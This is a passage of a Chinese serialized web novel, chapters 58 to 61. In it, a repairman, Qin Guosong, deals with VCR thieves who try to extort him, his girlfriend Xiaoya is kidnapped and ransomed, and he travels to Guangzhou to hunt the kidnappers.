修录像机的这两个人回到家里没有睡觉。两个人商量来商量去决定再返回秦国颂的维修部,再去碰一碰运气,万一录像机修好了呢? 于是他们再次来到维修店。他们远远看去维修店还亮着灯,心中很是高兴,心里想着秦国颂一定是在给他们加夜班。看来修好有希望了。 就在他俩骑着自行车快走到秦国颂的维修商店时,忽然看到商店里出了几个人,有两个人手里抱着录像机,还有两个人一边一个架着秦国颂,最后出来的是小雅,她用锁锁了维修商店的门,跟在这些人后面走了。 他们俩互相看了一眼,决定在后面慢慢的跟着他们,看他们去哪儿。 当他俩看到这一行人去了派出所的方向,并且径直的进了派出所。俩人一惊,心想完蛋了,出事儿了!跑吧。 他俩急匆匆的回到家中,聚在一起商量。商量来商量去,决定明天不去维修店取录像机了。静等几天,再做定论。 警察派了几个便衣在秦国颂的维修店门口附近布下暗哨轮流查看着他店里的动静。并且告诉他,一旦发现情况立即给他们发暗号,秦国颂心领神会的点头答应配合。 然而又过去了两天。这两个修录像机的人仍然没有露面。这天秦国颂正在忙碌着,他腰里的BB机响了,他看到了一条信息。信息的内容是修录像机的人发过来的。询问录像机修的怎么样了?秦国颂立即把这条信息告诉了在他店门口附近的便衣警察。警察让秦国颂打电话回复,电话那一边是一部公用电话,没有人接。 然而一整天秦国颂接到了好几个这样的信息。秦国颂都同样的对警察反映情况。回电话时,对方都是公用电话。 这事儿让秦国颂很是心烦。他觉得扰乱了他的生活与工作,他又没有招谁惹谁,好好的生活节奏被干扰,不能完全静下心来搞他的业务。他觉得无聊透了,甚至有了些抵触的情绪。他和小雅无端的被罚了2000元不说,还要没完没了的管这些破事儿,把自己牵扯进去。这他妈哪儿跟哪儿啊? 晚上小雅的服装店打了烊关了门。她来维修店找秦国颂。秦国颂也没有干活,他也正准备着商店关门回家吃饭。 小雅高兴的对他讲。她想吃两益馆的炒面了。让秦国颂请她去吃。秦国颂高兴的答应了。 他俩来到了两益馆。这个馆子里的人真多。好不容易找了座位,两个人点菜,要了酒,边吃边聊。 小雅兴奋地与秦国颂聊着天。还时不时的与他碰杯喝酒。忽然小雅神秘的对他一笑。“那修录像机的两个人还没有露面吗?” 秦国颂苦笑的摇了摇头。“我估计这两个人很快就会找我,他们现在对能否要回录像机这个事不应当算是主要的了。他们俩一定是想从我这里得到一些消息,打探一下警察究竟掌握了他们什么?盗窃录像机的金额不算小了,抓住以后最轻也是劳教。弄不好还会判刑的……”停顿了一下,他接着说。“我总感觉这两个人不像是盗窃犯。这录像机的背后一定还有什么咱不知道的秘密。不然警察为什么花这么大的力气要抓他们呢?” 小雅没有太大的心思听秦国颂讲这些。她诡谧的对秦国颂一笑。“我今天通过姐们儿搞了一盘录像带,就是那个的……你还想不想再看?” 秦国颂惊讶的张了张嘴。“哪个的?你还没有被罚够啊,还想着接着被罚?瞧瞧你,这胆量可真不小。” 记住本站: 小雅噗嗤的一笑。“姑奶奶不怕,有的是钱。看他们能把我怎么样?” 秦国颂把手指放到嘴边嘘了一下。压低了声音对小雅说。“不要回头看。坐在你后面那个角落的一个人,我看着很面熟。等一等,我再偷偷的看看他……没事儿。你接着说……” 小雅有些撒娇地对秦国颂说。“这盘带子我想晚上咱俩回家和你一起看……” 秦国颂又嘘了一下小雅,把目光收回,低着头对小雅小声说。“我认出你背后那个角落里的人了。一会儿咱俩吃完饭赶紧走。不要走着回去。打车……别问为什么。” 小雅心里纳起了闷儿。他这是要干什么?像是搞特工的,距离家门口这么近,竟然还要打车回去…… 记住本站: 第58章 录像带风波(续完) 秦国颂和小雅吃完饭,小雅去结账,坐在饭馆角落里的那个人用眼睛瞄了一眼秦国颂,又快速的低下了头。秦国颂站起身,径直向那个角落走去。他认出这个人就是修录像机的那个中年人,他走到这个中年人身旁,低声说了一句。“明天上午9点到离我那个店200米远的地方,有一个雅美服装店,到那儿等我。” 那个中年人抬起头看了看秦国颂。张了张嘴,刚要说话,秦国颂转身走了。 秦国颂和小雅走出两益馆。来到了热闹的大街上。小雅问他,“你刚才跟那个人说话了?” 秦国颂点了点头。“我告诉他明天上午9点在你的服装店门口等我。这个人就是修录像机的那个中年人。” 小雅说。“干嘛弄得这么神秘?你直接告诉他录像机被派出所没收了不就行了吗?” 秦国颂说,“我觉得这事情不是录像机那么简单,他应当有话跟我讲。我怕他在后面跟着咱们,不能让他知道咱们住哪儿,所以咱们要打车回去。” 小雅点了点头。用目光寻找着街上的出租车。那时街上的出租车很少,但标志比较醒目。那就是黄色的面包车,人们统称它为“面的”。 他们俩在街上走着。就在快走到家的时候。迎面来了一辆黄色面包车。 秦国颂果断的一挥手。面包车停在了他们跟前,他俩上了车。 “二位去哪儿啊?” 秦国颂说。“向前开就行。到了我自然会告诉你。” 出租车司机有些不耐烦的说道。“你到底要去哪儿啊?你不告诉我准确的地方,我怎么给你收费?” 秦国颂拿出一张5元钞票。“就按这个价钱,你看着跑吧。跑到哪儿算哪儿。” 出租车师傅接过钱,微微一笑。“好咧!谢谢您了。” 那时的出租车不打表。也没表可打。上车一口价,每人起价最低一元。一般每个人超不过两元,只要不出城圈儿就是这个价。 出租车司机带着秦国颂和小雅他们俩围着街跑,跑了大约10来分钟,秦国颂说,“你这快给我们绕回来了吧?行啊,你就还开到我们刚才上车的地方吧,离那稍微远一点也行。我们就是吃完饭没事干,坐车让你带着我们看看城市的风景。” 出租车师傅笑了。说了两个字。“有钱!” 小雅也笑了。点个头说。“是的,他确实有钱。” 他们俩人下了出租车。回到了小雅的屋内。看到北屋大凤的房内还亮着灯,秦国颂说。“你去你妈那屋吧,我还是一个人住这儿。冷静冷静,想想明天怎么跟那个人说。” 小雅瞪了秦国颂一眼,“说什么呢你?我不是跟你说好了吗?咱们俩回来一起看带子。”她指了指自己的手提包。 秦国颂紧张的对小雅说。“这,这太危险了。再说你妈那屋还亮着灯呢,她还没睡觉呢。” 小雅想了想,忽然一拍脑门。“咱们去公司酒店呀。我有我姥姥那屋的钥匙,她走的时候把钥匙给我了。” 秦国颂支支吾吾的说。“这,这,这……” “这什么这!咱们带上录像机,去酒店。”小雅对秦国颂说。“你跟我一起去我妈那屋请个假。就说你修理录像机出难题了,回来取这个录像机对比一下参照怎么修理。太晚了我们就在店里住了……瞧瞧,这理由多充分。” 秦国颂点了点头,跟着小雅一起来到了大凤的屋里。 真巧。王清文也在这屋。 王清文站起身来与他们打了招呼。客气而礼貌的说道。“你们回来的正好,我过来看看黄国英,看你妈一个人在家,就陪着她聊会儿天。行了,你们回来了,我该走了。” 小雅上前拦住了他。“哎哎,别别别,你,你多待会儿吧。我们马上就走,还有艰巨的任务呢。” 小雅给大凤说明了回来的原因。大凤点了点头。叮嘱秦国颂。 “多注意休息。钱挣多少是个多呀?” 秦国颂点了点头。小雅接话说道。“他想的才不是钱呢。他想的是科技。一根筋!” 王清文与大凤同时笑了。 王清文看着小雅与秦国颂欢快的走出了屋子。他望着小雅的背影,心里想,这丫头真的是长大了,成熟了…… 秦国颂与小雅拿了录像机。打了车来到了燕赵大酒店。 小雅打开了房间。关上门,一转身就抱住了秦国颂。 秦国颂猝不及防的连连说。“嗯,嗯嗯。让我歇会儿喘喘气儿……” 小雅涨红了脸,紧张的喘着气,松开了秦国颂,躺在了床上。她闭上双眼,陶醉在幸福之中。 秦国颂站在床前,看着小雅起伏的胸膛。他竟然紧张的手足无措起来,连忙去摸香烟。糟糕,烟没带来。他连忙探一下身去对小雅说。 “我没带烟来……” 小雅顺势一把就把他搂在了身上。嘴里喃喃自语。“你这个呆子。真傻到家了……竟然还想着抽烟……” 秦国颂忽然想到了黄国英。 小雅把嘴贴近了秦国峰的耳朵。轻声说道。“今天晚上我就是你的……我的贵人……一辈子,都是你的……” 秦国颂流下了眼泪,轻轻的吻了一下小雅的眼睫毛,又吻了吻她的耳垂……两个人就热烈而深情的吻了起来……秦国颂快速的褪去了自己和小雅的衣服……随着生命液体交流他们俩的爱情快速进入了巅峰…… 小雅竟然还是个处女。 …… 秦国颂紧紧的抱着小雅,深情的说。 “我一定会把你娶了……” 小雅甜蜜的看着秦国颂,感动的热泪盈眶。 秦国颂温柔地看着小雅。咬了她的耳朵对她坏坏的说。“你拿来的录像带咱们还没看呢,还没和电视联接上呢。” 小雅紧紧的搂着秦国颂,娇羞的说。“不看。有你,就够了……” …… 第二天,两个人一觉醒来已经快中午了。秦国颂哎呀一声连连说道。“坏了,忘了一件大事。昨天晚上给那个中年男人说好了,今天早上9点在你的服装店给他见面。这,这都快中午了!” 小雅揉了揉眼睛,嘟囔着嗔怪道,我当什么大事了?这算个屁!” 秦国颂赶紧拿起他静了音的BB机,一看上面的显示,有好几条发来的信息。其中一条信息上写着:等你不来。店铺没开门。见到信息后请呼叫这个号码,对方留下了一条BB机的号码信息。 秦国颂拿起房间的电话,刚要拨号,想了一下,他决定去酒店对面的邮局用公用电话打。他对小雅说明了情况,来到了邮局的公用电话亭,按照BB机上留的号进行了传呼。他挂上电话等了片刻,电话响了,他拿起电话。 “喂,你好,你是哪位?” 秦国颂清了清嗓子告诉了对方。对方对他讲,录像机他们不要了。让秦国颂按半价赔偿他们就可以,一共赔他们4000块钱。秦国颂气的骂了一句。 “你他妈是不是有病啊?录像机被派出所扣了。你们要是不信,我陪你们一起去派出所。” 对方并没有生气。只是冷冷的对他讲,让他三天之内准备4000块钱,送到他们指定的地方,这事儿咱们就算清了。录像机是在你的商店被警察弄走的,你就应当赔偿。如果不赔钱的话,你自己掂量着办。 秦国颂可不怕这些,他也冷冷的说。“我不报警,钱也不会给你。你说咱们在哪儿碰头?我一个人单刀赴会!” 说完便狠狠的挂了电话。 原来这两个人这几天偷偷的来到秦国颂的维修店附近观察,已经察觉到秦国颂维修店门口的异常现象,他们感觉事情已经变得不是那么简单了,又找了人去他们拿走录像机的电器经销部询问了在附近修自行车的一位师傅。才得知他们拿走录像机以后那个老师傅死在了商店里。这才觉得他们把篓子捅大了,想去外地躲一阵子。无奈手中又没有钱,于是自然想到了秦国颂,从他这里搞点钱出去避避风头。 秦国颂放了电话回了酒店。小雅问他谈的怎么样?他简单的搪塞了几句,没有对小雅说明真相。小雅对他讲要吃中午饭了,秦国颂答应着让小雅穿好衣服,然后他们相拥着走出了酒店。 秦国颂真的没有报警。他还在等着那人的信息,照常开门营业。 第一天过去了,相安无事。 然而第二天出事了。小雅失踪了…… 第59章 绑架 燕赵大酒店来了一位香港商人。入住的登记信息是:法国蒙特娇服装有限公司,香港代理。姓名陈娇龙。性别男。年龄37岁。 此人身材修长,西服革履,文质彬彬。操一口港味十足的普通话。 他经常在酒店大堂的会客处等待前来洽谈业务的人员。这一天他在会客处碰到了安康。 安康与他很快就聊了起来,而且越聊越熟。安康的交际能力我们都懂得,他很快就与这名陈娇龙先生成了无话不谈的好朋友。两个人互递了名片。并且安康热情的邀请陈娇龙先生方便时一定去他的办公室坐一坐。尽管一方是搞服装行业,另一方搞的是房地产行业。但这抵挡不住安康交朋友的欲望,他非常热情的请陈娇龙先生去他的办公室。 陈娇龙如期的来拜会安康。两个人在交谈中安康提到了做服装生意的小雅。能否把小雅叫来与陈先生见个面,希望陈先生在服装领域能给予小雅帮助与指教。 陈娇龙微微点头答应。并且希望能去小雅的服装店去看一看。看一下她这个店的规模。能否有做大的这个潜力? 安康愉快的答应。他拿起电话呼叫小雅的BB机号。小雅很快回了电话。安康告诉她,在她的服装店里等着,要介绍一位贵宾给她。 安康要了车,带着陈娇龙先生去了小雅的服装店。 小雅非常高兴与陈娇龙先生见面。并且告诉他过两天她要去广州进货,并且希望陈娇龙先生通过关系能否给她介绍款式新品质好的服装。 陈娇龙微微的笑着点点头,拿出自己的名片。并在名片背面写上了一个电话。告诉小雅,到了广州打这个电话就行。并且对小雅的店铺提了一些专业性的提议。希望她广州归来后扩大门面经营,成立服装公司。那样他才能帮上她的忙。现在她的店铺还太小,怕有些爱莫能助。 小雅愉快的点着头答应着,心想等他姥爷王文甫回到了大陆。她要对姥爷讲这个计划。让姥爷给她出谋划策,并且能够帮助她实施这个宏大的愿望。 秦国颂依旧在他的维修部低着头做他的维修业务。一开始两天他在等着修录像机的那两个人给他打传呼给他联系。两天过去了,仍不见动静。他就把这事扔到了脑后。一门心思的搞他的维修业务。只不过时不时的有警察过来询问一下那两个人的消息,秦国颂摇摇头,表示没有新的消息。在他维修部门口附近的便衣也逐渐的减少。警察是否有了新的部署?秦国颂不得而知。 小雅要去广州进货了。临行前的头一天晚上,她又约秦国颂去了酒店。走的时候两个人难舍难离,秦国颂送她上了车。对她以及和她一同去广州进货的同伴再三叮嘱,要看管好自己的钱财,确保安全,不要发生意外。 小雅含情脉脉的与秦国颂告了别。踏上了南去的列车。 小雅去广州进货一般情况下三五天就能回来。她进的货都是精品,一般都是有固定的进货摊位和渠道。到了广州最多也就是一个整白天的进货时间。早上8点多到,忙上一天。顺利的话坐上晚上8点多的车,第三天的上午8点多就能回来,时间大多都耽搁在路程上了。如果稍作延迟的话,最迟也就是一周的时间就能回来了。然而这一次小雅的一去,五天过去了,秦国颂给她打了呼机,她没有回话。一个星期过去了。秦国颂再次传呼她仍不见回音。秦国颂就有些沉不住气了…… 他敏感的神经一下子就绷紧了。他好似有了一种不祥的预感。是不是…… 前天,就在他晚上关了修理部的门后在走回家的路上,他碰到了修录像机的那位中年人。秦国颂认为他是在这里故意等着他,看了看他的四周没有别人,他径直就向这位中年人走去,中年人闪了一下身,就在他俩相互交错时。中年人低低的对他说了一句话。 “我们那个同伴,他跑了……找你要钱,你没给。他也没带多少钱就跑了……” 秦国颂看了一眼那位中年人。回话道。“这好像跟我没什么关系吧?钱我不会给你们的。想要的话咱们一起去派出所。” 中年人摇了摇头。独自转身走去了。 秦国颂苦笑的摇了摇头。兀自离去。 秦国颂去找和小雅一起进货的同伴,同伴告诉秦国颂,她们到了广州就分头去进货。回来的时候没有联系到小雅,她自己买车票就回来了。并且还很惊讶的问秦国颂,她还没回来? …… 秦国颂想到了去报案。但是他觉得又有些打草惊蛇。于是他决定过两天再说。 秦国颂的心可是真大。 其实呢,这两天他的心也在备受煎熬。他不敢对大凤说,怕弄得风声鹤唳,让大凤干着急。也许小雅明天就回来了。 然而又过了两天,小雅仍然没有回来。秦国颂几乎每天都传呼她十几遍。但仍没有回应。就在他准备要去报案的时候。安康急匆匆的来店里找他了。 安康一见他第一句话就是。“小雅出事了!出大事了。被人绑架了!” 秦国颂把拳头捶在了桌子上。大声的呼叫。“你怎么知道?谁干的?” 安康说,“我接到了台湾的董事长王文甫打来了电话。董事长说小雅被台湾的一个黑社会组织绑架了。要赎金100万。” “这……”秦国颂顿时张口结舌。“这他妈哪儿跟哪儿啊?难道那两个修录像机的有这么大能量?” 安康一下子被他说的丈二和尚摸不着头脑。“你说什么?什么修录像机的?这跟修录像机有什么关系?这是台湾一个黑社会组织蓄谋已久的事情。他们早就盯着王文甫在大陆的行踪了。就是要找机会下手。” 秦国颂更懵了。“那,那小雅碍他们什么事情啊?他们就是下手也应当找王文甫啊。” 安康急忙说道。“找谁都已经不重要了。现在小雅已经被弄到香港去了。董事长正在斡旋。准备答应条件,赎金都准备好了。” 他缓了缓,又接着说道。“董事长给我打电话的意思。第一,告诉家里小雅很安全,让家里放心。第二,他推迟了回大陆的时间。准备把小雅赎出来以后,一同回来。” 秦国颂长长的叹了一口气。他仔细的思考了片刻。对安康说道。“他们怎么会知道小雅的行踪呢?再说他们也不认识小雅呀……这里面一定有事儿!” 秦国颂这几句话把安康吓得可真是不轻。浑身的汗毛都立起来了,脸色苍白的他忽然“啊”的一声。转身就向酒店跑去…… 他跑到酒店前台。查找那个叫陈娇龙的香港商人。前台告诉他。这个人一星期前就退房了……再打电话联系那个人,对方的电话无人接听。 秦国颂看到安康惊慌失措的跑了。心想这事一定与他有关。他立即锁上了维修店的门。追着安康的方向,来到了燕赵大酒店。他要找安康问个明白,这事情究竟是怎么回事? 他找到了安康。安康正在垂头丧气的责怪责备自己。秦国颂仔细的问清了缘由,决定自己亲自要找这个香港商人。弄清楚事情的来龙去脉。 安康面带愧色,无奈的问秦国颂。 “你上哪儿去找他呀? 秦国颂咬了咬牙,一字一顿的说。“想办法。这世道上的事。你要想找。一定找得到!” 他仔细向安康问清楚了这个人的相貌特征。然后他果断的判定。这个人不是台湾的,也不是香港的,他断定这个人留的一切信息都是假的。唯一的线索就是他留给小雅电话的那个广州人。也就是说他提供给小雅的名片上那部电话的人和他是同一伙人。这伙人一定是受人指使来干这差事的。受什么样的人指视暂且不论。他发誓一定要找到这伙人。 他制定了周密的计划。暂时中断了维修部的经营。第一步他去了一趟白沟。白沟有一个文体用品批发市场。在那时气枪和猎枪凭介绍信就可以买到。他选了一支最好的最贵的进口5连发猎枪。买回来进行了加工。加工枪支对他来讲,这真是小菜一碟,很快他就打造好了这支枪。第二步他就是等小雅那边的信息,听一听小雅给他反馈回来的详细信息。他决定要报仇。 他想象的比较复杂,他想的是小雅在被劫持的阶段一定遭到了非人的待遇。他咽不下这口气…… 小雅被她姥爷王文甫花了100万赎了出来。并且在电话里对秦国颂哭诉了被劫持的简单经过。唯一的线索就是小雅到了广州后,在车站按那个所谓的香港商人留的电话给广州人联系。对方叫她在车站等候,他们派车来接小雅。小雅上了车后就被劫持了。车牌号小雅没有记得。 劫持小雅的这个黑社会组织确实是台湾的。是刚成立几年的一个黑社会组织。劫持小雅的目的就是想和王文甫分一杯羹。用这来做他们日后把组织做大的第一桶启动资金。并且承诺日后这笔资金还要归还的,听起来还挺仗义。 这个黑社会组织在大陆找了眼线。并且花钱聘用了几个马仔,为他们效力,实施劫持行动。 一开始他们行动的目标确实是王文甫,但王文甫目标太大,无法下手。于是她们就选中了王文甫在大陆唯一的亲戚,也就是刚找到时间不久的外孙女小雅下了手,他们非常清楚小雅在王文甫心中的地位,明白这一单生意绝对不会白干。 秦国颂铁了心的要去广州找那个所谓的香港商人。他自己决定了的事,第一,他不会给任何人说。第二,他一定要想办法把这件事情做成。这,就是秦国颂的性格。 秦国颂没有报案。王文甫也没有报案,因为在赎小雅之前已经向对方承诺不报案。看来还都是挺讲“武德”的。 第60章 寻觅 秦国颂处理完商店的维修业务。买了去广州的票。先回到了大院,看了看大凤和黄国英。问了大凤,小雅有没有来过电话,并嘱咐大凤要好好的照顾黄国英,他有事要出两天门。临走时他又来到了王清文住的小屋,与王清文做了个简单的告别。告诉他如没什么事儿,多去大凤那边陪陪她。自己出去办件事儿,很快就回来。 他上了北京开往广州的47次快车,真不错,他还买到了一张卧铺票。 列车到广州要行驶一天两夜。他觉得这是个非常漫长的旅程。他忽然想起了二凤,想起了20多年前二凤他俩去湖北武汉也是坐的这一趟车。只不过那时他们没有钱买卧铺。 他躺在列车的卧铺上。随着列车咣当咣当的摇晃着前行。二凤的影子,二凤那一张一张的笑脸在他脑海里闪现,有时竟逼真到他感觉二凤好像就站在他身边甜甜的在给他笑…… 他忽然又想起了小雅。觉得有些对不住二凤。他与二凤相恋相伴了好几年,他与二凤只接过三次吻。至今他都记得那三次吻在什么时候什么时间什么地方发生的,他们的爱情仅仅就是接个吻而已。几年来就接了三次……可是跟小雅呢……他不敢想下去了。 和二凤最后一次接吻的情形又浮现在他的脑海。那是他们都在内蒙古生产建设兵团。由于二凤表现突出,她所带领的那个积肥女子班荣立三等功,她被破格调去二师师部搞宣传。秦国颂被调到二师十三团下属的一个无线电厂当技术员。这个团的一个团长就是他们来内蒙古建设兵团时在列车上遇到的那个领导。秦国颂在无线电厂就如同着了魔一样搞他的无线电接收装置,他让黄国英给他寄来了好多电器元件。当时中苏因为珍宝岛事件爆发了冲突,秦国颂就想着研究制造一个接收装置,截获苏联的无线电信号,获取他们的军事秘密。他的这一想法和举止没有对他身边的任何人说过。唯一把这个想法透露给的人就是他热恋着的二凤,二凤他俩同在一个师,但几乎一个月都见不到一面。然而有一天…… 二凤背着那位部队领导送给她的军用挎包,出现在了秦国颂面前。她满面红光,精神焕发,面挂甜甜的笑靥给秦国颂行了一个军礼。秦国颂惊讶的看着如从天上掉下来的仙女儿般的二凤,慌乱而不知所措的问。 “你怎么来的呀?我,我……” 二凤微微一笑。“风吹来的呗,是春风……” 秦国颂回答。“冬天到了,春天就真的不会远了……” 二凤用眼睛盯着他看。“一会儿你下了班。咱俩约个地方见。我有秘密告诉你。” 秦国颂“嗯”了一声。“我也有个秘密告诉你……” 秦国颂下了班,二凤陪着他一起去厂子食堂吃了饭。吃完饭,秦国颂问二凤。 “咱们去哪儿啊?” 二凤神秘的冲他笑笑。“跟我来,我有地方。别看我来你们厂子没几次,有的地方,我比你熟悉。” 秦国颂点了点头。跟着二凤走出了食堂。 他们俩来到一座办公楼前。秦国颂不解的小声地问二凤。“这不是厂领导的办公楼吗?咱来这个地方干嘛?” 二凤对他笑笑。“别问了,去了你就知道了。” 办公楼里没什么人。人们大都去食堂吃饭了。 二凤领着秦国颂来到了一间办公室前,办公室的门没锁,二凤推门就进来了。 办公室里有两张办公桌。屋内有一张单人床。 二凤对秦国颂说。“我先跟你说我的秘密,今天晚上我就住这儿了。明天早上有车来接我……你猜?我去哪儿?” 秦国颂有些发懵,他摇了摇头。 二凤接着说。“师里决定让我明天去北京。没有说干什么,说这是军事秘密。”说完她咯咯的笑。 秦国颂愣怔怔的张了张嘴。 二凤赶紧说。“我的秘密告诉你了,可不能对别人讲。你的秘密呢?” 秦国颂还没有回过神来。张了张嘴想说又收回去了。 “算了,不说了……我那跟你这比起来就算不成秘密了。” “讨厌……”二凤嗔怪的责备着他。“不行,必须要告诉我。” 秦国颂用食指放在嘴边嘘了一下。“绝等的军事秘密。真的。” 二凤认真的瞪着眼睛看着他。“说呀!” “算了,还是别说了……在这儿呆着,我心虚,怕一会儿来人……” 二凤说。“来不了人。今晚上领导安排的我一个人在这里住。你说我是不是贵宾呢?” 秦国颂说。“我还是告诉你吧,但我有一个要求……你闭上眼睛……” 二凤乖乖的听话的闭上眼睛。 秦国颂一把抱住她,一下子就亲住了她的嘴,热烈的在她的嘴上狂吻。二凤喉咙里发出鹅鹅的呻吟声,腿一软顺势躺在了床上。秦国颂一边吻着二凤,一边在她耳边轻轻的告诉她,“我发明了一个监测设备,可以破获敌方的密码……” 二凤嗓子里嘤嘤的发出了声音,把嘴张开,迎接秦国颂更加热烈的吻。 她咦喃的含糊不清的说,“现在这事情已经不重要了……” 秦国颂的心砰砰的乱跳。他一边吻着二凤,一边回想着前两次他们接吻的情景,他要把那两次和这一次加在一起,重重的再体会那甜蜜的滋味…… 二风闭着眼睛喃喃地说道。“今天晚上你就不要走了……我要把我……” 就在这时,门开了。推门进来一个人,是厂办公室的小韩,小韩惊讶的啊了一声,他不认识二凤。他以为办公室开着灯。领导还在呢。 小韩气愤的用手指了指倾国颂,又指了指二凤。 “你们!你们……色胆包天,竟然在办公室里耍流氓!” 秦国颂吓得六神无主。二凤也被吓懵了。她想解释自己,这屋是厂领导安排她今天晚上住这儿的。可是,可是厂领导没有安排她……让她再安排一个男人呢。 二凤羞红了脸,低下了头。秦国颂对小韩说。“她叫张文凤,我的女朋友,我们好了两年多了。她在师部组宣科,今天特意来咱们厂看我……咱们厂领导安排她今天晚上住在这间屋里……” 小韩扯高了嗓门。“领导安排她住在这里,也安排你了吗?扯淡,乱弹琴!” 说完把门一摔,转身走了。 小韩叫来了保卫科长。 紧跟着厂军代表也来了。 然后军代表保卫科长办公室主任一起开现场会。研究处理秦国颂与张文凤的问题。 决定把他们两个人的问题上报团部师部。等候上级的处理决定。 …… 后来师部没有公开处理这件事。只是指出谈恋爱没有选对场合,给职工造成了不良的影响,给予批评教育处分。 二凤如期的去了北京。秦国颂还在厂里技术科做他的技术员。 但人们传言却是另一个版本。说是二凤用了女人的优势得到了师部团部领导的赏识……因为二凤是那么的漂亮…… 秦国颂听到了这些传言,如五雷轰顶,他一开始不大相信,他摇着头,又点着头,慢慢的他有点儿信了,因为前一阵兵团还处理了一位领导,就是因为和女知青兵团战士搞不正当的男女关系而受到的处罚。他觉得二凤那天的表情表现有些异常……不由得他不往深处里想。 这些传言在他脑子里晃荡了好久…… 事后不久,秦国颂忽然失踪了。 他抱着他偷偷研制好了的信号检测器,奔向了大沙漠…… 他不是去找二凤。他在找他要找的电波。他要在空气中找到存在的那一实体。这东西用眼睛看不见,用耳朵听不着,用身体感觉不到……但,它确实存在着。 …… 他一直觉得虚无缥缈的东西都能够找得到,更何况是实体的人。你不找,人家就会找得你。你要是找了,早晚能找得到他。王文甫不是找到了曹静稚吗?王清文同样也找到了小雅,他也同样能够找到劫持小雅的那个人……因为,这个世界就是这么设计的。任何事物归根结底都是量子。然而量子是可以纠缠的,思想是可以隔空传播的,心灵会有那一瞬间的相撞。他又想到了光的二重性…… 他在列车的卧铺上躺着。脑子里滚动着这样的想法。他觉得他没有想错。 这个世界上什么都不可怕。最可怕的就是你碰上了那个与你死缠烂打的量子。最终你和他变成了一个。 他忽然又想起了死去了多年的大雅……由大雅又想起了小雅,他不知道小雅此时在不在想他。 第61章 冤家路宽 秦国颂到了广州已经是晚上9点多了。尽管已经过了立秋时节,但广州依然热得像个大蒸笼。秦国颂出了车站,便是一身汗。广州车站人真多,他挤出了人群来到了车站广场,长长的出了一口气,心里琢磨着找一个住的地方。车站附近肯定是不能住,第一人多,第二查的也比较紧,因为他背着一个马桶包,包里装的他干活的家伙。经过秦国颂精心改装的那把家伙放到马桶包里绰绰有余。他背着马桶包来到了广州车站的公交站,随便坐上一趟车,离车站比较远的地方下车在附近找住的地方就行了。 来了一辆公交车。他也没有看路牌,车号与行驶方向,迈步就上了公交车。公交车行驶了三四站,他看了看周围比较清静了,人也少了,于是便下了车。 下了车,在路边不远处有一家旅店。他进了店办了入住手续。看了一下旅店房间的居住环境,还算是不错。于是他决定暂时的先在这里住下来,不满意的话,他再换其他的地方。 第二天早上醒来,他洗漱完毕。来到了街上吃了些早点。吃完早点后,他便走到隔壁的公共电话亭。把小雅告诉他的那个电话号码拨了一遍,没有人接。 他放下电话后回到了旅店,思考着下一步的行动计划。 他在房间里抽了几支烟,又走出旅店,又换了一个电话亭打电话,结果还是没有人接。就在他放下电话,走出电话亭时,电话亭口站着一个女人。他让开身,准备让这女人进电话亭。女人没有进电话亭,轻轻的叫了他一声大哥。 秦国颂愣了一下,仔细看了一眼这女人,30岁左右,长得还挺俊俏,他不认识这女人。 他对女人说。“你叫我吗?” 那女人点了点头,对他媚媚的一笑。 “嗯,是在叫你。你一个人吗?” 秦国颂点了点头。 那女人又指了一下他刚才出来的旅店。“你在这里住?” 秦国颂又点了点头。“你怎么知道?” “我刚才看到你从这里出来了,而且还出来过两次,就你一个人。” 秦国颂一下子感觉到了紧张。心想好家伙,我的行动都被人监视了吗? 那女人见秦国颂没有说话。接着又说。“大哥,需要我陪陪你吗?” “哦……”秦国颂这才松了一口气。心想我说的呢,我到这地方来没人知道呀。 他抬起手来刚要摆手。心里转念又一想。嗯,我找她陪我说说话也行,对这个地方稍作一些了解。开口问道。 “多少钱呢?” 那女人说。“快餐50。包夜200。” 秦国颂没有完全听懂。只是对她讲。 “我想找个人说说话。了解一下这一带的情况。我刚来这儿,对这儿还很不熟悉。” “哦。”让女人哦了一下。“只是陪着你说说话吗?” 秦国颂点点头。“就是说说话,半个小时就行。” 那女人上下打量了一下秦国颂,看了看四周。对秦国颂说。“反正我现在也没什么事儿。要不就陪着你去说会儿话。你给我10块钱就行了。” 秦国颂点了点头。“10块钱……” 那女人又说。“嗯嗯。可以陪你一个小时,不过你要想干别的,那就加价。” 秦国颂说。“好吧,你陪我进旅店吧。” 他与那女人进了他的房间。 进了房间以后,那女人说。“你这屋里真凉快。我在外面出了一身汗,能先让我冲个凉吗?” 秦国颂点了点头。“你去冲吧。” 一会儿女人围着浴巾从洗漱间出来了。 秦国颂说。“你穿上衣服吧,不然的话跟你聊天心里不踏实。” 女人笑笑。“大哥是不是没带多少钱呀?我看大哥这么好,便宜点也行啊。” 秦国颂忙说。“你快穿上衣服吧,我真的就是想和你聊聊天。” 那女人又说。“大哥,我真的挺好的,绝对是你少见到的那种……我可堪称极品了……” 秦国颂打断了她的话。“先穿上衣服吧,真的,我真的没带多少钱。就只能和你聊聊天,好吧?” 那女人听到这里。无奈的开始穿衣服。她当着秦国颂的面穿衣服,故意的把隐私部位露给秦国颂看,秦国颂转身去拿香烟,坐在沙发上开始抽烟。 那女人穿好衣服后。坐到秦国颂旁边,给他要了一支烟,边吸烟边问他。 “大哥,你说吧,看来你是真来聊天了。” 秦国颂一时竟想不出说什么来好了。 他猛的憋出一句话来。“你们这儿有什么好玩的吗?” 那女人瞪着眼看着他。“你想找什么好玩的呢?赌啊,还是吸呀?” 秦国颂摇了摇头。“我是说什么茶楼啊,酒肆啊,我想了解一下这里的地方风情。” “哦,你想去那些地方呀?我可以陪着你去啊。我们这里附近就有。” 秦国颂说。“不用了,你告诉我就行,我自己去。不是跟你说过吗?我没带多少钱啊。” 那女人娇媚的对他说。“我不多收你的钱,我要是没生意的话,你随便看着给。不过咱事先要说好了,有生意我立马就会离开,完了生意,回来再陪你,你别生气就行了。” 秦国颂笑了笑。“也行吧,你陪我半天,在不耽误你生意的情况下,我给你20块钱。有生意你就去,我不拦着。” 那女人过去就给了秦国颂一个温柔的拥抱。“好吧,咱们说定了。我把我的BB机号给你。到时候咱们就用这个联系,我这个BB机是汉显得。你告诉我在哪里等就行。” 秦国颂点头答应了。对这个女人说。“好吧。吃过午饭我休息一会儿,下午跟你联系。” 说完他拿出20块钱。“这是下午预约的预付款。”又拿出了10元钱。“这是刚才聊天的费用。你收好啊?我向来说话算数的。” 那女人高兴的收下了钱。秦国颂对她讲。“好了,你可以走了,下午跟你联系。” 女人高兴的给了秦国颂一个拥抱。转身又给了他一个飞吻。开了门,走出了房间。 